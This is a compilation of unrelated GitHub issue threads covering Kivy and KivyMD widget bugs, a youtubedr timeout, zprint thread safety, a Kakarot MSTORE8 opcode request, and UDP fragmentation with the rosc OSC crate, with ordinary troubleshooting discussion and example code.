 AttributeError: 'NoneType' object has no attribute 'set_volume'

Haha! The video path is hardcoded :laughing:
[ERROR  ] [Image       ] Error reading file /home/tito/code/pymt/examples/apps/videoplayer/softboy.mpg

Using another path fixes the problem :smile:

@thopiekar Has this been fixed? If not, I would like to take this up :)

@mondayrain I still see it in master: https://github.com/kivy/kivy/blob/master/examples/kv/app_logo.kv#L4
Go for it :dancer:

I don't know why it would still show up in master; the PPA package uses the following path:
/usr/share/kivy-examples/widgets/softboy.mpg

Maybe there is a Pull Request with this fix?
Unfortunately, the PPA is completely missing the file "softboy.mpg", so the same error still occurs... but it is due to a missing file, not a path pointing under /home/tito/code/.
See also: https://github.com/kivy/kivy/issues/2762 . There is a workaround posted there for the missing file (just d/l it RAW from github).

Is this fixed ?

authors: TimoKramer dereks inclement mondayrain theaverageguy thopiekar


text:
Kivy-dev, does not work space on Android

I can't put a space in TextInput widget on Android.
I build my application using kivy==master, buildozer==master and SDL2.
Logs contain the row I/python: [INFO   ] [Clipboard   ] Provider: android
When i run my application on emulator, i can put a space on virtual keyboard, but not on physical.
On real device i can't put a space on virtual keyboard.
I test it on android 4.4, 5.2 and 6.0.

Duplicate of https://github.com/kivy/kivy/issues/4605

authors: dzmitrykrukouski matham


text:
KivyMD Master dev version 0.104.2.dev0 MDDataTable.open() Doesnt work AttributeError: 'MDDataTable' object has no attribute 'open'

self.table2 = MDDataTable(pos_hint={'center_x': 0.5, 'center_y': 0.5},
size_hint=(0.95, 0.3),
# use_pagination=True,
rows_num=10,
column_data=[("Subject", dp(25)),
("Enrll", dp(13)),
("Online", dp(13)),
('No Device', dp(15)),
("Reached", dp(15)),
("N.Cntct", dp(15))],
row_data=attotable)
self.table2.open()
Code above

@mannutheman3 in a recent update of kivymd the  MDDataTabled usage had been changed
u need to use add_widget instead of open
from kivy.metrics import dp
from kivy.uix.anchorlayout import AnchorLayout
from kivymd.app import MDApp
from kivymd.uix.datatables import MDDataTable

class Example(MDApp):
    def build(self):
        layout = AnchorLayout()
        self.data_tables = MDDataTable(
            pos_hint={"center_x": 0.5, "center_y": 0.5},
            size_hint=(0.95, 0.3),
            # use_pagination=True,
            rows_num=10,
            column_data=[
                ("Subject", dp(25)),
                ("Enrll", dp(13)),
                ("Online", dp(13)),
                ("No Device", dp(15)),
                ("Reached", dp(15)),
                ("N.Cntct", dp(15)),
            ],
        )
        layout.add_widget(self.data_tables)
        return layout

Example().run()

No, I want to open the MDDataTable as it used to open in old stable version, just like mddialogbox opens.

this same thing used to work with kivymd 0.104.1

@mannutheman3

No, I want to open the MDDataTable as it used to open in old stable version, just like mddialogbox opens.

from kivy.lang import Builder
from kivy.metrics import dp
from kivymd.app import MDApp
from kivymd.uix.button import MDRaisedButton
from kivymd.uix.datatables import MDDataTable

KV = """
MDScreen:
    MDRaisedButton:
        id: btn
        text: "Open DataTables"
        pos_hint: {"center_x": .5, "center_y": .5}
        on_release:
            app.open_data_table()

    AnchorLayout:
        id: container

"""

class Example(MDApp):
    def build(self):
        self.root = Builder.load_string(KV)

    def open_data_table(self):
        self.data_tables = MDDataTable(
            pos_hint={"center_x": 0.5, "center_y": 0.5},
            size_hint=(0.95, 0.3),
            # use_pagination=True,
            rows_num=10,
            column_data=[
                ("Subject", dp(25)),
                ("Enrll", dp(13)),
                ("Online", dp(13)),
                ("No Device", dp(15)),
                ("Reached", dp(15)),
                ("N.Cntct", dp(15)),
            ],
        )
        self.data_tables.ids.container.add_widget(
            MDRaisedButton(
                text="CLOSE",
                pos_hint={"right": 1},
                on_release=self.close_data_table,
            )
        )
        self.root.ids.btn.disabled = True
        self.root.ids.container.add_widget(self.data_tables)

    def close_data_table(self, *args):
        self.root.ids.btn.disabled = False
        self.root.ids.container.remove_widget(self.data_tables)

Example().run()

repo: kivymd/KivyMD


text:
[react-blessed] elementサイズが後で変えられない

render() {
  let width = 20;
  if (someFlag) {
    width = 25;
  }
  return <box width={width}>;
}

こんな感じで、一度 width=20 で出力してしまうと、後で 25 になっても変わらない

Issue/PR 送って解決した

repo: kjirou/nodejs-codes


text:
is it working properly?

is it working properly?
it only says Server is listening ...
and believe nothing more happen

s


text:
Connection timeout

Connection timeout
when i input these
./youtubedr download "https://www.youtube.com/watch?v=pFSQh_5QE40"
It shows that——
Get "https://youtube.com/embed/pFSQh_5QE40?hl=en": dial tcp 204.79.197.217:443: i/o timeout
Would someone like to give me a hand

I would recommend that the code be updated, to avoid a redirect:
PS C:\> curl -I https://youtube.com/embed/pFSQh_5QE40?hl=en
HTTP/2 301
location: https://www.youtube.com/embed/pFSQh_5QE40?hl=en

https://github.com/kkdai/youtube/blob/b655d9a3019321c5757a97abb69745f4ec1389c0/player_parse.go#L19

works for me

authors: 89z corny iceluo

repo: kkdai/youtube


text:
Thread safety

Hi, I was experimenting with using zprint to pretty-print our entire Clojure codebase, so I basically tried to pmap it over all the source files, and I discovered that zprint is not thread-safe due to with-redefs.  So I thought I would try just making every redef'd def ^:dynamic and using binding instead, and it seems to work!  Not sure if there are other reasons to prefer with-redefs but being able to call zprint from multiple threads is pretty sweet for my use-case.

Thanks for not only bringing this up, but finding a likely solution to this problem!  I hadn't really thought about thread-safety for multiple invocations of zprint, oddly enough, though it is multithreaded itself.   I've been away for a bit, but will explore this approach and get back to you in the next few days.

I worked on this quite a bit last weekend, and I'm pleased to say that you certainly nailed a very solid solution.  It seems to work well with all of my tests so far.  The only reason why I'm not ecstatic about this approach is because it seems to cost 5-7% in performance.  My testing indicates that the ^:dynamic is what is costing the performance.  That might not seem like a lot, but I've worked hard on performance, and I've spent days to get each 5-7% of performance improvement I've achieved.  So I'm not wild about losing ground there.  Particularly since many of the use cases for zprint don't care about thread safety, the zprint-filter being the obvious one (which reads stdin and writes stdout).  It is already multithreaded inside, and there is no way to have it process two files at once.  On the other hand, I am excited about possibly uplifting lein-zprint to process multiple files at once, which would be a performance plus and something I never considered prior to your bringing this up.
I have worked out what seems like an alternative approach and I wanted to see if you had any feedback.  I have figured out how to not lose performance and have it be thread safe as long as all of the threads are processing the same kind of input -- either all source-code that is parsed, or all Clojure structures in memory.  Unless I've misunderstood your use-case, that would be fine for what you are doing.  I think it would be fine for almost anything anyone would do.  I really can't imagine the use-case where you run zprint on source code and zprint on structures at the same time.  Well, I suppose I can, but it is likely pretty rare.  While it isn't as general (or elegant) as your approach, this alternative approach doesn't lose any performance because it doesn't require all of the zfns to be ^:dynamic.  If you try to run two different kinds of zprint simultaneously, the second one will throw an exception telling you that you can't do that, as opposed to just failing in some arbitrary way.
The alternative is to have different code for the zprint-filter and the library, which is certainly possible, but becomes something of a maintenance headache over time.  Not to mention,
that other people use the library to run other places, and they would also lose performance.
So, I'm inclined to trade off general multithreading in favor of keeping the performance, and go with this less general but hopefully sufficient multithreading.
What do you think about that?

At the time I realized I couldn't run zprint from multiple threads, I did not know that zprint itself was multithreaded.  So that definitely makes a lot more sense.  The solution that you mentioned would work fine.  It's awesome that it can be detected and a sensible error message can be shown, it took me a while to figure out what was going on!  Feel free to commit over this or close it.

I finally got the "fix" for this released.  The code you offered was dramatically simpler, totally correct, and substantially more general than what I finally implemented.  Moreover, it worked with graalvm, which mine mostly didn't.  However, it cost 7% +/- in performance, largely I think because of the dynamic variables used for function lookups (since there are a lot of function lookups).  So, the code I have now doesn't allow mixed format multi-threading, but it does run at the same speed the old code did.

authors: fazzone kkinnear

repo: kkinnear/zprint


text:
feat: implement 0x53 - MSTORE8 Opcode

Feature Request

Since
Group

Frontier
Stack Memory Storage and Flow Operations

Index 1 is top of the stack. See PUSH.
Stack input

offset: offset in the memory in bytes.
value: 1-byte value to write in the memory (the least significant byte of the 32-byte stack value).

Examples

Input 1

Input 2

1
0

1
1

2
0xFFFF

2
0xFF

Memory before

0

Memory after input 1

0xFF

Memory after input 1 then 2

0xFFFF

Reproduce in playground.
Error cases
The state changes done by the current context are reverted in those cases:

Not enough gas.
Not enough values on the stack.

If the feature request is approved, would you be willing to submit a PR?
(Help can be provided if you need assistance submitting a PR)

[x] Yes

### Tasks
- [ ] https://github.com/kkrt-labs/kakarot-ssj/issues/249
- [ ] After #249 is implemented, go and implement the business logic of MSTORE8

@Eikix Can you assign me, pls?

Important update: we are gathering some bugs in the Kakarot v0 codebase, we need to make sure each issue and each PR in Kakarot-ssj is aware of the lists of known bugs. Look at this link everytime you take an issue and check your issue isn't targeted by a known bug.

Important update: we are gathering some bugs in the Kakarot v0 codebase, we need to make sure each issue and each PR in Kakarot-ssj is aware of the lists of known bugs. Look at this tracking issue everytime you take an issue and check your issue isn't targeted by a known bug. Will add this reminder in many places to make sure we keep track of known bugs.

authors: Eikix khaeljy

repo: kkrt-labs/kakarot-ssj


text:
dev: use the range operator where relevant

https://community.starknet.io/t/cairo-v2-8-0-is-out/114606#p-2357624-range-operator-4

Hi @enitrat do you need help with this?

I don't think so, it would be hard for someone external to read the entire codebase and find where to modify

authors: adrianvrj enitrat


text:
No ability to update pulse via webserver

New install of Glow, everything working fine but there's no option to update the pulse value on the webserver?

Setting via the UI is part of version 4.0.0 and that is currently still in development. With the current version you are running now, you still have to adjust this in the yaml code.

Ah no problem, it's just the current readme refers to this so thought i was going mad :)

We have separate branches for what is stable and what is development, I'm still working on streamlining that better, but what you see by default is development.

authors: eyeisystems klaasnicolaas

repo: klaasnicolaas/home-assistant-glow


text:
Pegasus only compatible with old versions of scipy

When trying to install pegasuspy with newer versions of scipy, one gets:
scipy 1.4.1 is installed but scipy<1.3 is required by {'pegasuspy'}

Please try pegasuspy 0.17.0.

authors: tariqdaouda yihming

repo: klarman-cell-observatory/pegasus


text:
Add support for formatting log for stdout as json

When running a phobos project inside a docker container, it would be nice to capture stdout as json, so splunk has a good time parsing the phobos logs.

LGTM

authors: klippx martinsvalin

repo: klarna/phobos


text:
help with parsing fragmented packets?

Hi,
I'm a rust novice. 🦀🦀🦀 With a background in generative/interactive art.
I've been using the nannou library to explore this kickass language, and recently made up a personal learning project involving sending OSC data from TouchDesigner to a nannou app.
I started encountering an issue whereby the total channels i sent seem to be truncated based on packet size limitations. After some digging on the internet, I'm sort of coming to understand that the issue I'm having may be that I'm handling this as discrete packets rather than streams.
can you provide any guidance on how to handle this scenario using this crate?
thank you for all your fine work :)

Hi @flowb !

that I'm handling this as discrete packets rather than streams.

I guess that you're using UDP as the underlying transport, as shown in the sender example.  In this case your OSC message size will be limited to the datagram size.
However, since the OSC protocol, as well as rosc, are transport agnostic you could choose any transport protocol to get your message over the wire.  UDP is a packet based protocol whereas TCP is about a streaming of packets.  Basically speaking, with a TCP socket you can send messages of any size and TCP will make sure that it will arrive correctly at the receiver side.  I can't show you an example, but rosc.encode will just return a vector of bytes, so you could just send this over a TCP socket.
Please let me know if you've further questions.  Also, if you found a solution I'd be happy to receive another usage example in a PR.

thank you for all your fine work :)

Oh, and thank you for the 💐 😊

Hi @klingtnet
Thanks for getting back to me so quick.
TouchDesigner uses UDP exclusively for OSC, so unless I were to generate the packets in another way, I don't think that TCP is an option there.
With regards to the data-payload limitation being implicit to using UDP here, I'm a bit mystefied. TouchDesigner can send and receive the additional channels when they are sent over UDP. Just to make sure it isn't some secret sauce that derivative cooked up, i also tested it with hexler's TouchOSC. In both cases it seems that they receiving application is able to reassemble the multi-packet data into a single bundle and then extract channels from it.
I may be over-thinking it, but perhaps the applications gather all packets with matching osc-timestamps into a big bucket and then process those in unison somehow?

TouchDesigner uses UDP exclusively for OSC, so unless I were to generate the packets in another way, I don't think that TCP is an option there.

That's true, then TCP is not an option.

I may be over-thinking it, but perhaps the applications gather all packets with matching osc-timestamps into a big bucket and then process those in unison somehow?

Just an idea, but wireshark can decode OSC messages and you could use that inspect what is being send by TouchDesigner and TouchOSC?

Hi,
So I honestly sort of figured this is where this was heading. I finally just sat down and ran a cap session, and the plot thickens a bit...
Wireshark initially seems to be receiving all channels in a single packet, however, further inspection shows that the packet shown in Wireshark to contain all the data is actually the product of fragmented packets that have been reassembled.
The process underlying it is ip4 packet fragmentation, which is something that is supposed to be handled at the IP layer. I don't know if the socket object in rust is somehow interfering this this process, or if the socket needs to be set up in a different way to properly reassemble the packets.
My next step on this journey will be to look into Ip framentation in rust sockets, unless this is already known to you.

The process underlying it is ip4 packet fragmentation, which is something that is supposed to be handled at the IP layer. I don't know if the socket object in rust is somehow interfering this this process, or if the socket needs to be set up in a different way to properly reassemble the packets.

As said, fragmentation is handled entirely on the IP level and the UDP socket should not know about this.

Perhaps creating a larger buffer to read the data into lets more channels through.

That would have been my suggestion as well.  This SO post explains some limitations of UDP packet sizes

well, simply setting an arbitrarily larger value for the buffer size seems to be the fix I'm looking for.
is there a responsible way to dynamically set this or do I, as the programmer implementing the library, just need to do my due diligence and manage my own memory footprint?
thank you for answering all my questions btw. :)

well, simply setting an arbitrarily larger value for the buffer size seems to be the fix I'm looking for.

Happy to hear that it has worked :)

is there a responsible way to dynamically set this or do I, as the programmer implementing the library, just need to do my due diligence and manage my own memory footprint?

On the sender side it's easy since you know upfront the size of the OSC message you want to send.  It's more tricky on the receiver end, since they need to set a reasonable buffer size that might fit all possible messages.  I think UDP is commonly chosen as a OSC transport because it's low overhead and has lower latency then for example TCP where first a connection is set up before any message is send.

thank you for answering all my questions btw. :)

Thank you for using rosc :)

authors: flowb klingtnet

repo: klingtnet/rosc